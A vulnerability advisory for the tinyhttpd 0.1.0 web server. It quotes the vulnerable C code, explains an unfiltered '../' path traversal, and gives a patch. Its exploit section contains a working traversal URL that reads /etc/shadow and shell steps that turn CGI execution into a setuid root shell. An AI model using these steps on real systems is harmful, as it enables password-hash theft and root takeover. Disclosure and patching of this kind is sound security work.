Brought to you by:
Suppliers of:
tinyhttpd (Tiny HTTPd) is a very simple web server. The program has been found to contain two vulnerabilities, a directory traversal vulnerability (that allows compromising of the whole system due to command execution vulnerability).
Credit:
The information has been provided by dong-houn yoU .
Vulnerable systems:
* tinyhttpd version 0.1.0
Vulnerable code:
__
110 cgi = 1;
111 if (!cgi) // because cgi is not, read file.
112 serve_file(client, path);
113 else
114 execute_cgi(client, path, method, query_string); // cgi executes.
115 }
116 close(client);
117 }
--
As you can see in serve_file() line:359.
__
359 void serve_file(int client, const char *filename)
...
367 resource = fopen(filename, "r");
...
373 cat(client, resource);
--
And as you can see in cat() line:143.
__
143 void cat(int client, FILE *resource)
...
149 send(client, buf, strlen(buf), 0);
--
And that the function that executes the CGI in line:185.
__
185 void execute_cgi(int client, const char *path,
186 const char *method, const char *query_string)
...
249 execl(path, path, NULL);
250 exit(0);
--
It does not filter out "../", allowing a directory traversal vulnerability.
Exploit:
Because the server runs as root:
http://tiniwebserver/../../../../../../../etc/shadow
Will return the content of the shadow file.
To gain root privileges you need to first execute:
bash$ cat > test; chmod +x test
#!/bin/sh
cp /bin/sh /tmp/sh
chmod 4755 /tmp/sh
^C
bash$
And then:
bash$ lynx http://localhost/../../../../../../../tmp/test
bash$ /tmp/sh -i
bash#
Patch:
=== httpd.patch ===
--- httpd.c Sun Apr 22 09:13:13 2001
+++ httpd.patch.c Thu Oct 17 19:07:41 2002
@@ -55,6 +55,7 @@
char method[255];
char url[255];
char path[512];
+ int t;
size_t i, j;
struct stat st;
int cgi = 0; /* becomes true if server decides this is a CGI
@@ -88,6 +89,15 @@
i++; j++;
}
url[i] = '\0';
+
+ for(t=0;t<strlen(url);t++)
+ {
+ if(url[t] == '.' && url[t+1] == '.' && url[t+2] == '/')
+ {
+ url[t] = '/';
+ url[t+1] = '/';
+ }
+ }
if (strcasecmp(method, "GET") == 0)
{
Please enable JavaScript to view the comments powered by Disqus.
blog comments powered by